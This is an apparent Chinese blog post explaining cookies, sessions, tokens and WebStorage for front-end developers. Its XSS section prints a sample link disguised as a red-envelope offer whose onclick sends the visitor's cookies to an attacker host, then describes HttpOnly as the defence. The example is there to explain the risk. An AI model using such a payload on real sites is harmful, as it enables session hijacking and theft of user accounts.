zoukankan      html  css  js  c++  java
  • cookie、session、token、WebStorage了解

    一、cookie

      1、cookie是用户访问服务器,服务器返回给客户端的一个身份id,之后每次请求,cookie都会被携带在请求头中发送给服务器。【通俗讲就是第一次访问的时候,

      服务器生成一个锁芯(session)然后把开这个锁的钥匙(cookie)返回给客户端,之后用户每次访问服务器都会携带钥匙去开锁访问】

      2、cookie如果不设置过期时间,就是会话cookie,浏览器关闭就消失。否则就是持久cookie,在过期之前,cookie都是一直存在的,并且持久cookie可以被不同浏览器共享。

      3、前端可以通过

       document.cookie = "user=heihei";

       console.log(document.cookie);

      设置和获取cookie,可以设置过期时间,有大小限制,只能存储大约4kb。

      4、cookie的属性:

       a、 cookie的域,产生Cookie的服务器可以向set-Cookie响应首部添加一个Domain属性来控制哪些站点可以看到那个cookie,如:   

      Set-Cookie: name="heihei"; domain="m.zhuanzhuan.58.com"

       如果用户访问的是m.zhuanzhuan.58.com那就会发送cookie: name="heihei", 如果用户访问www.aaa.com(非zhuanzhuan.58.com)就不会发送这个Cookie。

       b、并且如果是子域设置了cookie,那么,子域可以访问主域的cookie,反之主域不能访问子域的cookie,中午就涉及到path属性

        例如:m.zhuanzhuan.58.com 和 m.zhaunzhuan.58.com/user/这两个url。 m.zhuanzhuan.58.com 设置cookie

       Set-cookie: id="123432";domain="m.zhuanzhuan.58.com";

        m.zhaunzhuan.58.com/user/ 设置cookie:

       Set-cookie:user="wang", domain="m.zhuanzhuan.58.com"; path=/user/

        但是访问其他路径m.zhuanzhuan.58.com/other/就会获得

       cookie: id="123432"

        如果访问m.zhuanzhuan.58.com/user/就会获得

        cookie: id="123432"
        cookie: user="wang"

       c、secure

        设置了属性secure,cookie只有在https协议加密情况下才会发送给服务端。但是这并不是最安全的,由于其固有的不安全性,敏感信息也是不应该通过cookie传输的.

       Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure;

       5、cookie劫持(跨站点脚本XSS)

        使用跨站点脚本技术可以窃取cookie。当网站允许使用javascript操作cookie的时候,就会发生攻击者发布恶意代码攻击用户的会话,同时可以拿到用户的cookie信息。

        例子:

       <a href="#" onclick=`window.location=http://abc.com?cookie=${docuemnt.cookie}`>领取红包</a>

        当用户点击这个链接的时候,浏览器就会执行onclick里面的代码,结果这个网站用户的cookie信息就会被发送到abc.com攻击者的服务器。

        攻击者同样可以拿cookie搞事情。

        解决办法:可以通过cookie的HttpOnly属性,设置了HttpOnly属性,javascript代码将不能操作cookie。

    二、session

       1、一种会话机制,用来记录客户信息,存储在服务端,无大小限制。

    三、token

          1、token的意思是“令牌”,是服务端生成的一串字符串,作为客户端进行请求的一个标识。

          2、当用户第一次登录后,服务器生成一个token并将此token返回给客户端,以后客户端只需带上这个token前来请求数据即可,无需再次带上用户名和密码。

          3、简单token的组成;uid(用户唯一的身份标识)、time(当前时间的时间戳)、sign(签名,token的前几位以哈希算法压缩成的一定长度的十六进制字符串。

          为防止token泄露)。

          客户端使用用户名和密码请求登录。服务端收到请求,验证用户名和密码。验证成功后,服务端会生成一个token,然后把这个token发送给客户端。

          客户端收到token后把它存储起来,可以放在cookie或者Local Storage(本地存储)里。客户端每次向服务端发送请求的时候都需要带上服务端发给的token。

          服务端收到请求,然后去验证客户端请求里面带着token,如果验证成功,就向客户端返回请求的数据。

    四、WebStorage

        WebStorage两个主要目标:(1)提供一种在cookie之外存储会话数据的路径。(2)提供一种存储大量可以跨会话存在的数据的机制。

        HTML5的WebStorage提供了两种API:localStorage(本地存储)和sessionStorage(会话存储)。

        1、生命周期:localStorage:localStorage的生命周期是永久的,关闭页面或浏览器之后localStorage中的数据也不会消失。

         localStorage除非主动删除数据,否则数据永远不会消失。

         sessionStorage的生命周期是在仅在当前会话下有效。sessionStorage是在同源的窗口中始终存在的数据。只要这个浏览器窗口没有关闭,

         即使刷新页面,数据依然存在。但是sessionStorage在关闭了浏览器窗口后就会被销毁。

         同时独立的打开同一个窗口同一个页面,sessionStorage也是不一样的。

          2、存储大小:localStorage和sessionStorage的存储数据大小一般都是:5MB

          3、存储位置:localStorage和sessionStorage都保存在客户端,不与服务器进行交互通信。

          4、存储内容类型:localStorage和sessionStorage只能存储字符串类型,对于复杂的对象可以使用ECMAScript提供的JSON对象的stringify和parse来处理

          5、获取方式:localStorage:window.localStorage;;sessionStorage:window.sessionStorage;。

          6、应用场景:localStoragese:常用于长期登录(+判断用户是否已登录),适合长期保存在本地的数据。sessionStorage:敏感账号一次性登录;

      

      

  • 相关阅读:
    界面控件DevExpress WPF入门 表达式编辑器功能
    Telerik UI for WPF全新版本——拥有Office2019高对比度主题
    DevExpress报表控件v21.2 全新的Visual Studio报表设计器
    报告生成器FastReport .NET入门指南 在Linux中启动应用程序
    文档控件DevExpress Office File API v21.2 自定义字体加载引擎
    UI组件库Kendo UI for Angular入门 如何开始使用图表功能
    WPF界面工具Telerik UI for WPF入门级教程 设置一个主题(二)
    DevExtreme初级入门教程(React篇) TypeScript支持
    报表开发利器FastReport .NET v2022.1 添加关键对象和属性
    python项目打包(一) setup.py、Python源代码项目结构
  • 原文地址:https://www.cnblogs.com/woniubushinide/p/11240188.html
Copyright © 2011-2022 走看看